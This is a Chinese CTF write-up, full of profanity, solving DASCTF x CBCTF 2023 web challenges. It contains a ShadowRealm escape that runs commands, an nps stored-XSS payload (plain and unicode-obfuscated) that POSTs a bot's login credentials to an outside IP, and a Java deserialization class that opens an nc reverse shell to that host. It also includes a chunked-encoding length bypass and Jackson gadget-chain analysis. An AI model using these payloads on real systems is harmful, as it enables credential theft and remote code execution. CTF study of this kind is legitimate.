DAS0RAYSxCBCTF

写在前面

wcsnmd, 谁给👴出的这么恶心的 web,nmd 爆零了,tmd 总共 3100 的解,什么√⑧玩意儿.

wp:‌‍⁡⁣‌‍‍⁣⁢⁢‌‍‬⁣‌⁣⁢‌⁡⁤⁢⁤⁤‌‌⁡⁢‌‍⁣‌‌⁡⁣DASCTF x CBCTF - 飞书云文档 (feishu.cn)

DASCTFXCBCTF_2023_bypassJava_Wp (pankas.top)

yet another box

这题是一个比较新的沙箱 shadowrealm , 这 byd 和 node 的 vm8 太一样,有着自己的全局对象和内置函数,就挺抽象,没法像 vm , 也无法通过 prototype pollution 控制主模块中的内置属性另外由于与 package.json 声明了 “type”:“module” 且文件结尾为 .mjs,所采用的 ESM 默认 strict mode,无法通过 [stack-trace-api](Stack trace API・V8 — 堆栈跟踪 API・V8 发动机) 跨上下文取得可利用对象。

Stack trace API

仅作为学习记录使用,并不为本题提供思路.

默认情况下,V8 抛出的几乎所有错误都有一个属性,抛出错误的时候会用到方法,该方法能获得到外面的全局对象.

Shadow-Realm-API

Wrapped Function Exotic Objects 是一种奇异对象,内含一个回调函数。具有一些内置槽 slot ,:

Internal slots Type Description
[[WrappedTargetFunction]] Callable Object Stores the callable object.
[[Call]] The [[Call]] internal method Executes code associated with this object’s [[WrappedTargetFunction]].
[[Realm]] Realm Record The realm in which the function was created.

还有 [[Prototype]] and [[Extensible]]

对象的 [[call]] 方法获取两个参数:thisArgument, argumentsList . 调用时会实现以下步骤:

1. 设置运行代码的上下文。执行上下文通常包括执行函数的作用域、变量、this 值等信息。

2. 设置新的作用域 calleecontext.

3. 执行 assert 断言,确保 calleecontext 是目前正在执行的上下文.

4. 用 result 储存 **OrdinaryWrappedFunctionCall (F, thisArgument, argumentsList)** 的运行结果

5.calleeContext 被从执行上下文栈中移除,而 callerContext 被恢复为当前运行的执行上下文。

6. 判断返回类型,如果 [[TYPE]] 已返回,则返回 value.

7. 处理异常

8. 执行结束.

dynamic import 方案

通过动态 import 允许我们按需加载 JavaScript 模块,而不会在最开始的时候就将全部模块加载。

动态 import 返回了一个 Promise 对象,这也意味着可以在 then 中等模块加载成功后去做一些操作。

所以 import 导入需要通过 then 去触发其方法.

import 在执行方法后仍然是 promise 对象,采用的类似于链式调用.

1
2
3
var test = import("child_process").then(m=>console.log(m))


其中 test 获取 promise 异步对象,而 m 直接就获得 child_process 对象.

exp

简而言之

1
ShadowRealm.prototype.evaluate => PerformShadowRealmEval => Execution Contexts

支持 dynamic import

“Dynamic import” 是指在 JavaScript 中动态加载模块或文件的能力。这是 ECMAScript 2020 标准的一部分,引入了 import () 函数,它可以在运行时异步加载模块。这与传统的静态 import 语句不同,后者在代码加载时即确定了要导入的模块。

1
2
import('child_process').then(m=>m.execSync('/readflag > /app/asserts/flag'));
1;

nps

md 又是 xss,👴又 tnnd 不会,しね!

🧀一个 nps 网站上的 xss. 涉及 CVE-2023-46486

项目地址

影响范围:

nps<=V0.26.10

你 tm 搁这放屁呢,最新版本就是这个,21 年最后 publish 了.

漏洞怎么个事:

bootstrapTable 并未配置 escape 字段,且使用时不改默认配置

微信截图_20231101223246

kokodayo,web/views/client/list.html

微信截图_20231101223529

这里设置公钥,防止被 ntr (被别人用代理), 你也不希望你拿不到 shell 吧 (bushi)

同为代理,经常被提起的 frp 和 venom 都没太注意公钥,实际上是有公钥这一选项的.

这里,我们完全就能够通过客户端去进行攻击了.

开打😓

cnm,sbwindows, 死活用不成,linux 一下就出来了和👴😡了

√⑧玩意,当👴⭐😡吧

首先下载客户端,这一点和 frp 的 admin 端和 agent 端类似

然后配置客户端的配置文件

1
2
3
4
5
[common]
server_addr=127.0.0.1:8024
conn_type=tcp
vkey=123
remark=<sCRiPt>alert(`nps hacker`)</sCrIpT>

微信截图_20231101224733

× 成功了,狠狠地 × 进去

remote 干🤪

忆!悟!这就是 xss 的机器人创造

首先题目通过 js 代码造了个后台机器人,👴很喜欢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import {chromium, errors} from "playwright-chromium";

const PASSWORD = "DASCTF_flag";
(async () => {
async function visit() {
const page = await context.newPage();
try {
for (let i = 0; i < 3; i++){
try{
await page.goto('http://a.o.com:8080/client/list');
break;
}catch (e) {
console.log(e);
}
}
await page.waitForTimeout(1000);
const element = await page.isVisible('button[langtag="word-login"]');
if (element) {
await page.fill('input[name="username"]', 'admin');
await page.fill('input[name="password"]', PASSWORD);
await page.click('button[langtag="word-login"]');
}
await page.waitForTimeout(1000);
await page.close();
} catch (e) {
if (e instanceof errors.TimeoutError){
console.log(e);
await page.close();
}else{
console.log(e);
}
}
}

const browser = await chromium.launch({
headless: true
});
const context = await browser.newContext();
context.setDefaultTimeout(10000);

setInterval(visit, 30000);
})();


看不懂没关系,👴来带你分析一下.

首先整个就是一坨 shit⛰,

通过一个箭头函数 () 的方式立即调用

1
2
3
4
5
6
const browser = await chromium.launch({
headless: true
});
const context = await browser.newContext();
context.setDefaultTimeout(10000);
setInterval(visit, 30000);

首先创建一个浏览器和上下文,然后设置 setIneterval, 表示每三十秒调用 visit, 函数,让👴看看 visit 函数怎么个事

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
async () => {
async function visit() {
const page = await context.newPage();
try {
for (let i = 0; i < 3; i++){
try{
await page.goto('http://a.o.com:8080/client/list');
break;
}catch (e) {
console.log(e);
}
}
await page.waitForTimeout(1000);
const element = await page.isVisible('button[langtag="word-login"]');
if (element) {
await page.fill('input[name="username"]', 'admin');
await page.fill('input[name="password"]', PASSWORD);
await page.click('button[langtag="word-login"]');
}
await page.waitForTimeout(1000);
await page.close();
} catch (e) {
if (e instanceof errors.TimeoutError){
console.log(e);
await page.close();
}else{
console.log(e);
}
}
}

首先获取新页面,然后访问三次 http://a.o.com:8080/client/list

你看看眼熟不,/client/list 刚好就是刚才展示 xss 的路径,你品,你细品。这个 host 眼熟不,这可是在 docker 里面设置的地址映射啊.

ならば 答えはひとつだ

就是 xss, 接下来就是分析这个机器人事怎么操作的了.

首先要看有无 button[langtag="word-login"] 这玩意

那我们就需要设置一个 button 了,不过我们可以在这里面下点毒

1
<button onclick="fetch('http://43.143.192.19:1145/',{method:'POST',body:$('#username')[0].value+'___'+$('#password')[0].value});" langtang=></button>

$(‘#username’) 是一个 jQuery 选择器,用于选择具有指定 id 属性的 HTML 元素。在这个选择器中,#username 表示要选择 id 为 “username” 的元素。会从输入获取

1
2
3
<input type="text" id="username" name="username" value="flag">


再根据这个

1
2
await page.fill('input[name="username"]', 'admin');
await page.fill('input[name="password"]', PASSWORD);

让机器人去输入我们设置好的登录框,从而通过 input 获取到 flag.

1
2
<input name="username" id="username" class="form-control" placeholder="Username" required="" langtag="word-username">
<input name="password" id="password" type="password" class="form-control" placeholder="Password" required="" langtag="word-password">

如此,圈套已设,只等敌军进入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<head></head>
<body>
<form class="m-t" onsubmit="return false">
<div class="form-group">
<input name="username" id="username" class="form-control" placeholder="Username" required="" langtag="word-username">
</div>
<div class="form-group">
<input name="password" id="password" type="password" class="form-control" placeholder="Password" required="" langtag="word-password">
</div>
<button onclick="fetch('http://43.143.192.19:1145/',{method:'POST',body:$('#username')[0].value+'___'+$('#password')[0].value});" langtag="word-login">Login</button>
</form>
</body>
</html>

这么复杂数据传输起来不方便,👴不喜欢,换一个

exp

unicode 就行,而且控制台大大支持 unicode

1
2
3
4
5
[common]
server_addr=node4.buuoj.cn:26658
conn_type=tcp
vkey=123
remark=</a><sCRiPt>document.write`\u003c\u0068\u0074\u006d\u006c\u003e\u000a\u0020\u0020\u0020\u0020\u003c\u0068\u0065\u0061\u0064\u003e\u003c\u002f\u0068\u0065\u0061\u0064\u003e\u000a\u0020\u0020\u0020\u0020\u003c\u0062\u006f\u0064\u0079\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0066\u006f\u0072\u006d\u0020\u0063\u006c\u0061\u0073\u0073\u003d\u0022\u006d\u002d\u0074\u0022\u0020\u006f\u006e\u0073\u0075\u0062\u006d\u0069\u0074\u003d\u0022\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0066\u0061\u006c\u0073\u0065\u0022\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0064\u0069\u0076\u0020\u0063\u006c\u0061\u0073\u0073\u003d\u0022\u0066\u006f\u0072\u006d\u002d\u0067\u0072\u006f\u0075\u0070\u0022\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0069\u006e\u0070\u0075\u0074\u0020\u006e\u0061\u006d\u0065\u003d\u0022\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0022\u0020\u0069\u0064\u003d\u0022\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0022\u0020\u0063\u006c\u0061\u0073\u0073\u003d\u0022\u0066\u006f\u0072\u006d\u002d\u0063\u006f\u006e\u0074\u0072\u006f\u006c\u0022\u0020\u0070\u006c\u0061\u0063\u0065\u0068\u006f\u006c\u0064\u0065\u0072\u003d\u0022\u0055\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0022\u0020\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0064\u003d\u0022\u0022\u0020\u006c\u0061\u006e\u0067\u0074\u0061\u0067\u003d\u0022\u0077\u006f\u0072\u0064\u002d\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0022\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u002f\u0064\u0069\u0076\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0064\u0069\u0076\u0020\u0063\u006c\u0061\u0073\u0073\u003d\u0022\u0066\u006f\u0072\u006d\u002d\u0067\u0072\u006f\u0075\u0070\u0022\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0069\u006e\u0070\u0075\u0074\u0020\u006e\u0061\u006d\u0065\u003d\u0022\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0022\u0020\u0069\u0064\u003d\u0022\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0022\u0020\u0074\u0079\u0070\u0065\u003d\u0022\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0022\u0020\u0063\u006c\u0061\u0073\u0073\u003d\u0022\u0066\u006f\u0072\u006d\u002d\u0063\u006f\u006e\u0074\u0072\u006f\u006c\u0022\u0020\u0070\u006c\u0061\u0063\u0065\u0068\u006f\u006c\u0064\u0065\u0072\u003d\u0022\u0050\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0022\u0020\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0064\u003d\u0022\u0022\u0020\u006c\u0061\u006e\u0067\u0074\u0061\u0067\u003d\u0022\u0077\u006f\u0072\u0064\u002d\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0022\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u002f\u0064\u0069\u0076\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0062\u0075\u0074\u0074\u006f\u006e\u0020\u006f\u006e\u0063\u006c\u0069\u0063\u006b\u003d\u0022\u0066\u0065\u0074\u0063\u0068\u0028\u0027\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0034\u0033\u002e\u0031\u0034\u0033\u002e\u0031\u0039\u0032\u002e\u0031\u0039\u003a\u0031\u0031\u0034\u0035\u002f\u0027\u002c\u007b\u006d\u0065\u0074\u0068\u006f\u0064\u003a\u0027\u0050\u004f\u0053\u0054\u0027\u002c\u0062\u006f\u0064\u0079\u003a\u0024\u0028\u0027\u0023\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0027\u0029\u005b\u0030\u005d\u002e\u0076\u0061\u006c\u0075\u0065\u002b\u0027\u005f\u005f\u005f\u0027\u002b\u0024\u0028\u0027\u0023\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0027\u0029\u005b\u0030\u005d\u002e\u0076\u0061\u006c\u0075\u0065\u007d\u0029\u003b\u0022\u0020\u006c\u0061\u006e\u0067\u0074\u0061\u0067\u003d\u0022\u0077\u006f\u0072\u0064\u002d\u006c\u006f\u0067\u0069\u006e\u0022\u003e\u004c\u006f\u0067\u0069\u006e\u003c\u002f\u0062\u0075\u0074\u0074\u006f\u006e\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u002f\u0066\u006f\u0072\u006d\u003e\u000a\u0020\u0020\u0020\u0020\u003c\u002f\u0062\u006f\u0064\u0079\u003e\u000a\u003c\u002f\u0068\u0074\u006d\u006c\u003e`</sCrIpT>
1
./npc -config ./conf/npc.conf

微信截图_20231101233054

终于拿到了艹,30s 点一次,👴tm 以为 x 不进去了

まだまだね、弱い!

Deserialize?Upload!

actuator😫

微信截图_20231102082010

首先,题目有个🚢♥的依赖,显然👴不知道这是干啥的,怎么办,学!

Spring boot——Actuator 详解 - 曹伟雄 - 博客园 (cnblogs.com)

配置方面

1
2
3
4
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

有了这个依赖,那么 Spring 就会自动开放 /actuator/health/actuator/info 这两个路径

访问 [127.0.0.1:9090/actuator/](http://127.0.0.1:9090/actuator/) , 可以得到 /acturator 的路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
{
"_links": {
"self": {
"href": "http://127.0.0.1:9090/actuator",
"templated": false
},
"health": {
"href": "http://127.0.0.1:9090/actuator/health",
"templated": false
},
"health-path": {
"href": "http://127.0.0.1:9090/actuator/health/{*path}",
"templated": true
},
"info": {
"href": "http://127.0.0.1:9090/actuator/info",
"templated": false
},
"env": {
"href": "http://127.0.0.1:9090/actuator/env",
"templated": false
},
"env-toMatch": {
"href": "http://127.0.0.1:9090/actuator/env/{toMatch}",
"templated": true
},
"heapdump": {
"href": "http://127.0.0.1:9090/actuator/heapdump",
"templated": false
}
}
}

以下是一些经常使用的路径

HTTP 方法 Endpoint Description
GET /actuator 查看有哪些路径
GET /actuator/env 查看所有环境属性,看 Spring 的的 properties, 但是会自动脱敏掉一些 secret key 等敏感信息
GET /actuator/health 查看运行指标
GET /actuator/info 查看 properties 中 info 开头的属性,沒啥用
GET /actuator/heapdump 获取 JVM 的 heap dump

🤣默认 Actuator /actuator/health/actuator/info 两个 endpoint,如果要开放其他 endpoint 的話,需在在 application.properties 中做设置。微信截图_20231102085646

Heap dump(堆转储)是指将一个 Java 进程的内存中的对象信息和数据结构以二进制格式写入文件,以便进行内存分析和排查内存泄漏等问题。Heap dump 包含了 Java 堆内存中的对象实例、对象引用关系、类信息等,它是诊断和调试 Java 应用程序的重要工具之一。

👴说点人话:反正 Heap dump 事内存相关的东西,肯定有敏感信息,👴就是要把它下下来进行一通乱超,不知道你们怎么忍得住的,事👴直接拿起来狠狠地分析.

怎么分析,当时事用 jdk 自带的 jhat

1
jhat -J-Xmx512M "/path/to/heapdump"

然后就会本地起一个服务器,里面就加载内存的内容

md, 依托✍特,

1
2
3
4
public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
((HttpSecurity)((FormLoginConfigurer)((FormLoginConfigurer)((HttpSecurity)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)http.authorizeRequests().antMatchers(new String[]{"/"})).permitAll().antMatchers(new String[]{"/admin/**"})).authenticated().and()).formLogin().loginProcessingUrl("/login")).permitAll()).and()).csrf().disable();
return (SecurityFilterChain)http.build();
}

🧀spring 安全配置, http.authorizeRequests().antMatchers(new String[]{"/"}).permitAll() 表示对 / 路由访问允许任意用户,

antMatchers(new String[]{"/admin/**"}).authenticated() 表示 /admin/ 开头验证用户

.formLogin().loginProcessingUrl("/login").permitAll() /login 的表达登录不需要验证

这里就是让👴拿到 password

题目实践😓😡

wcsndm,sb 东西,题目环境没了,行吧,👴本地搭一个,nmd 套模板整了个 docker-compose, 告诉👴nmd project name must not be empty , 你 tmd 倒是告诉👴哪里没有 project name, 阿米诺斯,一格德拉米.

只能手动 docker build.

同样拿到 heapdump

直接打开

1
jvisualvm

别问👴哪里装,这 nmjava 自带的

进行一波 OQL 查询

1
select s from java.util.LinkedHashMap$Entry s where /spring.security.user.password/.test(s.key)

这里用的事正则测试 /rgexp/.test () 的形式,虽然里面内容没用到啥正则,只是走个形式而已,别问👴为啥不直接查 value,nmd value 是个对象还未知,你查个√⑧.

微信截图_20231102101315

tmd /login 登进去,让👴看看怎么个事

微信截图_20231102102004

源赖氏一个后台管理系统,能用文件上传功能的地方.

反序列化分析😛

1
2
3
4
5
6
7
@GetMapping({"/deserialize"})
public void deserialize(@RequestParam("b64str") String b64str) throws Exception {
byte[] serialized = Base64.getDecoder().decode(b64str);
ByteArrayInputStream bis = new ByteArrayInputStream(serialized);
SafeObjectInputStream ois = new SafeObjectInputStream(bis);
ois.readObject();
}

很美好对吧,jackson 链直接打,但是👴发现了不对劲,md 有毒

还是看看远处的 SafeObjectInputStream

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public SafeObjectInputStream(InputStream is) throws Exception {
super(is);
}

protected Class<?> resolveClass(ObjectStreamClass input) throws IOException, ClassNotFoundException {
if (BLACKLIST.contains(input.getName())) {
throw new SecurityException("Hacker!!");
} else {
return super.resolveClass(input);
}
}

static {
BLACKLIST.add("com.fasterxml.jackson.databind.node.POJONode");
BLACKLIST.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
BLACKLIST.add("java.lang.Runtime");
BLACKLIST.add("java.security.SignedObject");
}

都给你 ban 了,rnm, 出题人真的阴险,现在不把 jackson 链 ban 了,都不敢反序列化了是吧😅

怎么绘世呢

文件上传 + 反序列化组合拳😤

题目给了文件上传的功能,那总不能不用吧,要不然题目整这 β÷ 玩意干嘛呀.😅

正好前面通过 env 泄露得知 java_home 的位置

微信截图_20231102103809

什么,你不知道 java_home 事干嘛的?

来,跟👴一起念:

JAVA_HOME 是一个环境变量,用于指示 Java 开发工具和应用程序在计算机上的安装位置。它主要用于以下几个方面的作用:

  1. Java 开发工具的定位JAVA_HOME 变量告诉计算机的操作系统和其他开发工具 Java 开发工具的安装位置。这对于编译、运行和调试 Java 程序非常重要。例如,当你使用 Java 编译器 ( javac ) 编译 Java 代码时,系统需要知道 JAVA_HOME 的位置以找到 javac 可执行文件。
  2. Java 运行时环境(JRE)的定位:除了开发工具, JAVA_HOME 也可以用于定位 Java 运行时环境(JRE)的位置。JRE 包含了运行 Java 应用程序所需的类库和运行时组件。如果你的系统上有多个不同版本的 Java 安装,设置 JAVA_HOME 可以确保你使用的是正确的 Java 版本。
  3. 应用程序的定位:某些 Java 应用程序可能需要知道 Java 的安装位置,以便正确配置自己。通过设置 JAVA_HOME 环境变量,这些应用程序可以轻松找到所需的 Java 运行时环境。
  4. 开发工具和构建工具的配置:许多 Java 集成开发环境(IDE)和构建工具(如 Maven 和 Gradle)使用 JAVA_HOME 变量来配置其内部使用的 Java 环境。这有助于确保项目在正确的 Java 版本下编译和运行。
  5. 跨平台兼容性:通过使用 JAVA_HOME 变量,可以使 Java 开发环境在不同的操作系统上更具可移植性。它允许开发人员编写一次代码,然后在不同平台上使用相同的 JAVA_HOME 变量来运行代码。

总之, JAVA_HOME 是一个关键的环境变量,用于确保计算机上的 Java 开发工具、应用程序和运行时环境能够正确地找到和使用 Java 安装。它在 Java 开发和部署过程中起到重要作用,特别是在多版本 Java 安装和跨平台开发的情况下。

不说人话就是这样,这是伟大的 ChatGPT 说的,👴翻译一下就是,运行脚本的位置在那,要运行的 class 也在那,所以有啥 class 放那,他就能加载啥 class.

所以接下来要干啥懂了没,上传点具有攻击性的 class 到 javahome 里面,狠狠地入它一波.

而且不是有反序列化吗,到这你不可能还不知道吧,创造一个反序列化带有直接恶意操作的类,直接 getshell😊

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.io.*;


public class exp implements Serializable {

private void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException {

in.defaultReadObject();

Process p = Runtime.getRuntime().exec(new String[]{"nc","43.143.192.19","1145","-e","/bin/sh"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
p.waitFor();
if(p.exitValue()!=0){
}
String s = null;
while((s=reader.readLine())!=null){
System.out.println(s);
}

}
}

写个 exp 类,编译好后再上传,别直接 sb 到把 java 上传了

微信截图_20231102150011

但是👴不太高兴,因为有点 bug, 第一次搭 docker 打不成,第二次终出了😒.

DASCTFXCBCTF_2023_bypassJava

真 tm 恶心的 java 题,不仅有绕过,还 tm 有 RASP 这种抽象的东西,👴太弱了,👴要学.

题目环境甚至不是靶机,而是静态资源,很不爽.

还好出题人开源了:pankass/DASCTF_X_CBCTF2023_bypassJava: 题目源码和 docker 环境 (github.com)

Content-Length 限制

不多说,第一时间想到 jackson 链子,但是有长度限制

微信截图_20231102154201

这长度限制是人能想出来的吗😓,nm 稍微大一点,随便不都得几千?

过不了,根本过不了,让我看看 bypass 怎么个事:微信截图_20231102155013

这里如果头部有 transfer-encoding, 就会进 addInputFilter

微信截图_20231102160618

这里面如果有 chunked, 那么就会设置成 this.contentDelimitation 为 true

微信截图_20231102160810

最后这里就会进入 if, 从而设置 ContentLength 为 - 1, 绕过长度限制.

chuncked 编码怎么发

分块编码(Transfer-Encoding: chunked) - 妙音天女 - 博客园 (cnblogs.com)

简单看一下们大概就是

1
2
3
4
5
6
十六进制长度/r/n
content/r/n
....

0/r/n
/r/n

每一块都是 十六进制表示长度 然后, /r/n

接着输入 content, 然后 /r/n

最后一块一定要输入 0/r/n/r/n

👴浅浅写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests


url = "http://127.0.0.1:8080/read"
content = open("data.txt","r").read()
leng = hex(len(content)).replace("0x","")

body = leng+"\r\n"+content+"\r\n0\r\n\r\n"
print(body)

headers= {"transfer-encoding":"chunked"}


res = requests.post(url=url,data=body,headers=headers)

soeasy,🤣,

然而这只是第一步,👴现场甚至第一步都没过去.

不稳定 jackson 链问题

关于 java 反序列化中 jackson 链子不稳定问题 (pankas.top)

从 JSON1 链中学习处理 JACKSON 链的不稳定性 - 先知社区 (aliyun.com)

👴ctmd 打 jackson 链子的时候,有史以来第一次遇见了陌生的报错

1
com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["stylesheetDOM"])

且经过本地调试,似乎进入了陌生的代码段,👴很不乐意.

微信截图_20231103150351

具体来说,就是在调用 getters 的时候,优先奏了 getStylesheetDOM 这个方法,但是,众所周知,我们在序列化的时候,是不会去设置这个值的,所以理所应当的,nmd 空指针了.😓😅而当其调用 getter 方法时优先调用 getOutputProperties 方法时才是我们正常想要的结果。

这 nm 真有坑啊,比赛想打这条链子,不说 ban 位问题,nmd 这问题也只能通过不停地重置靶机解决了,比赛你重置靶机,静态地址等似吧.

现在👴来分析一下怎么个事,优化一下

流程

这条链子分析👴不想说了,闭着眼睛都知道怎么个事.

关键是触发 POJONodetoString 方法,然后内部经过一系列序列化器调用 POJONode 中封的 _value 属性的 getter 方法,从而调用 TemplatesImpl 类型对象的 getOutputProperties 方法从而导致执行任意代码。

重点就是从 toStringgetters 的调用这一过程

栈调试放在这:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)

com.fasterxml.jackson.databind.ser.BeanPropertyWriter#serializeAsField 方法中利用反射来执行其 getters 方法

微信截图_20231103152329

这次就调用了 getoutputProperties, 很好,👴喜欢🤪

那就往前看看哪里获取了 getters

微信截图_20231103152702

com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields 中, prop 数组存储了 getters , 通过循环遍历所有 getters 并调用 serializeAsField

追踪一下这个变量,从 _props 获得

最终在 com.fasterxml.jackson.databind.introspect 赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
collectAll:418, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect)
getJsonValueAccessor:270, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect)
findJsonValueAccessor:258, BasicBeanDescription (com.fasterxml.jackson.databind.introspect)
findSerializerByAnnotations:391, BasicSerializerFactory (com.fasterxml.jackson.databind.ser)
_createSerializer2:224, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
createSerializer:173, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
_createUntypedSerializer:1495, SerializerProvider (com.fasterxml.jackson.databind)
_createAndCacheUntypedSerializer:1443, SerializerProvider (com.fasterxml.jackson.databind)
findValueSerializer:544, SerializerProvider (com.fasterxml.jackson.databind)
findTypedValueSerializer:822, SerializerProvider (com.fasterxml.jackson.databind)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)

微信截图_20231103220943

这里就是第一次决定 getters 顺序

微信截图_20231104081525

随后通过 getDeclaredMethods 获取方法,那这里获取方法的顺序是不固定的。

并且,在 com.fasterxml.jackson.databind.SerializerProvider#findTypedValueSerializer 方法里,会将获取的方法顺序进行缓存,之前提到过了,缓存后会进入其它 if。

因此第一次打不通,之后也无法打通了

为什么顺序不一定

获取顺序是根据地址的大小来排序的,期间存在内存 free 的动作,那地址是不会一直线性变化的,之所以不按照字母排序,主要还是为了速度考虑,根据地址排序是最快的。

是反射 getDeclaredMethods 获取到方法的顺序是不确定的,最终导致执行相关 getter 方法的顺序也是不确定的,当 TemplatesImplgetStylesheetDOM 方法先于 getOutputProperties 方法执行时就会导致空指针异常从而导致调用链报错中断,exp 利用失败。

解决方法😊

org.springframework.aop.framework.JdkDynamicAopProxy 解决问题

实现

众所周知,java 有个 b 玩意叫做 动态代理 ,很 nb,👴只在 cc 中用过,不清楚.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.example;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Test {
public static void main(String[] args) {

Object myProxy = Proxy.newProxyInstance(TestProxy.class.getClassLoader(), new Class[]{TestInterface1.class, TestInterface2.class}, new MyHandler());
for(Method m: myProxy.getClass().getDeclaredMethods()) {
System.out.println(m.getName());
}
}
}

interface TestInterface1 {
public void say();
}

interface TestInterface2 {
public void test();
}

class TestProxy {


public void eat() {
System.out.println("eat something");
}
public void say() {
System.out.println("say something");
}
public String getName(String a) {
return a;
}
}

class MyHandler implements InvocationHandler {

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("invoke dynamic proxy handler");
return null;
}
}

微信截图_20231105214715

这是执行结果,可以看懂能获取到的方法,完全取决于接口实现了哪些方法

